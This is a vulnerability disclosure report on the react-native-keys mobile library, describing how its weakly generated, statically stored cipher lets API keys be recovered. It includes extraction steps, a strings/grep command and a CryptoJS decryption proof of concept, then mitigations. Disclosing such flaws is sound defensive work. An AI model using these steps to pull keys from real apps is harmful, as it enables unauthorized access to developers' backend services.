Research Report: Critical Vulnerability in react-native-keys
Leading to Client-Side API Key Extraction
Library: react-native-keys
(GitHub: numandev1/react-native-keys)
Version: v0.7.11
CVE Request: Pending
This report identifies a critical vulnerability in the react-native-keys
library (0.7.11), which is designed to secure API keys by encrypting and splitting them into chunks before embedding them into native code. However, due to weak cryptographic practices, improper key management, and predictable cipher generation, attackers can easily extract and decrypt the API keys. The issue stems from static storage of the encryption credentials and insufficient runtime protections. This flaw poses a severe security risk to mobile applications that use this library for key management.
The react-native-keys
library implements a mechanism to encrypt and store API keys securely in native code. The basic workflow is as follows:
- API keys are encrypted using the AES-256-CBC algorithm.
- The encryption key (password) is a 12-character alphanumeric cipher that is generated at build time.
- The generated cipher is derived from a weak random method using JavaScript’s
Math.random()
, making it predictable and insecure. - The encrypted payload is split into three separate Base64-encoded chunks and embedded into a compiled C++ binary (
libreact-native-keys.so
).
- At runtime, the app combines the three Base64 chunks and decrypts them using the embedded cipher.
- Additionally, the library performs a "half-key" validation check by comparing a substring of the Base64 payload to a Java-stored value, acting as a form of security check.
The primary vulnerabilities in the react-native-keys
library are as follows:
- The encryption cipher and Base64 chunks are stored as plaintext in the compiled native binary.
- Attackers can extract these secrets using basic static analysis tools such as strings or Hopper.
-
The cipher is generated using
Math.random()
, which lacks proper cryptographic randomness. This approach reduces entropy and makes the cipher highly predictable, enabling attackers to brute-force it.Vulnerable Code:
module.exports.generatePassword = () => { const charset = `abcdefghijklmnopq rstuvwxyzABCDEFGHI JKLMNOPQRSTUVWXYZ0123456789`; let retVal = ''; for (let i = 0; i < 12; ++i) { retVal += charset.charAt(Math.floor(Math.random() * charset.length)); // Weak randomness } return retVal; };
The following steps outline how attackers could exploit this vulnerability to extract and decrypt the API keys:
- Decompile the APK and extract
libreact-native-keys.so
from the appropriate directory (e.g.,lib/arm64-v8a/
).
-
Identify the Base64-encoded chunks and the cipher used for encryption by inspecting the native binary with tools like Hopper.
Example (Using Hopper for Base64 Chunks by searching for getJniJsonStringifyData):
-
Extract Cipher: The 12-character password can be found using the strings command:
strings libreact-native-keys.so | grep -E "^[a-zA-Z0-9]{12}$"
-
Combine the three Base64 chunks into a single string and decrypt using AES-256-CBC decryption logic.
Proof-of-Concept Decryption Code:
const CryptoJS = require("crypto-js"); const encryptedBase64 = "U2FsdGVkX1...iyMFO5uyT...liPGfFBv0..."; // Combined chunks const password = "u4IxXxkih6zg"; // Extracted cipher const bytes = CryptoJS.AES.decrypt(encryptedBase64, password); const decryptedData = bytes.toString(CryptoJS.enc.Utf8); console.log("Decrypted API Keys:", decryptedData); // Prints plaintext keys
The following impacts can result from the successful exploitation of this vulnerability:
- Attackers can fully recover API keys stored via
react-native-keys
, leading to unauthorized access to backend services.
- Exposed keys (e.g., Firebase, Stripe, AWS, etc.) enable attackers to perform various malicious activities, such as unauthorized database access, financial fraud, and data leaks.
- Applications using this insecure library may face reputational damage and be non-compliant with industry security standards, such as PCI DSS and GDPR.
- Remove the
react-native-keys
library and migrate to more secure server-side API key management strategies. - Rotate all exposed API keys to mitigate potential abuse.
- Secure Cipher Storage: Utilize secure, hardware-backed keystores (e.g., Android KeyStore, iOS Keychain) to store encryption secrets.
- Runtime Encryption: Generate ephemeral keys at runtime using secure enclaves to prevent static extraction.
- Remove Client-Side Validation: Shift validation and attestation logic to the server-side (e.g., using Firebase App Check).
- Avoid client-side secret storage as it exposes sensitive information to attackers.
- Conduct regular open-source audits to ensure third-party libraries follow secure coding practices.
The react-native-keys
library introduces a false sense of security by relying on weak cryptographic methods and client-side storage of sensitive keys. This vulnerability highlights the risks associated with client-side secret management and emphasizes the importance of using secure, industry-standard key management techniques. It is critical for mobile app developers to evaluate third-party libraries thoroughly and adopt best practices to protect sensitive information.
Contact: chetanbug@duck.com
CVE Request: Submitted to MITRE (Pending ID)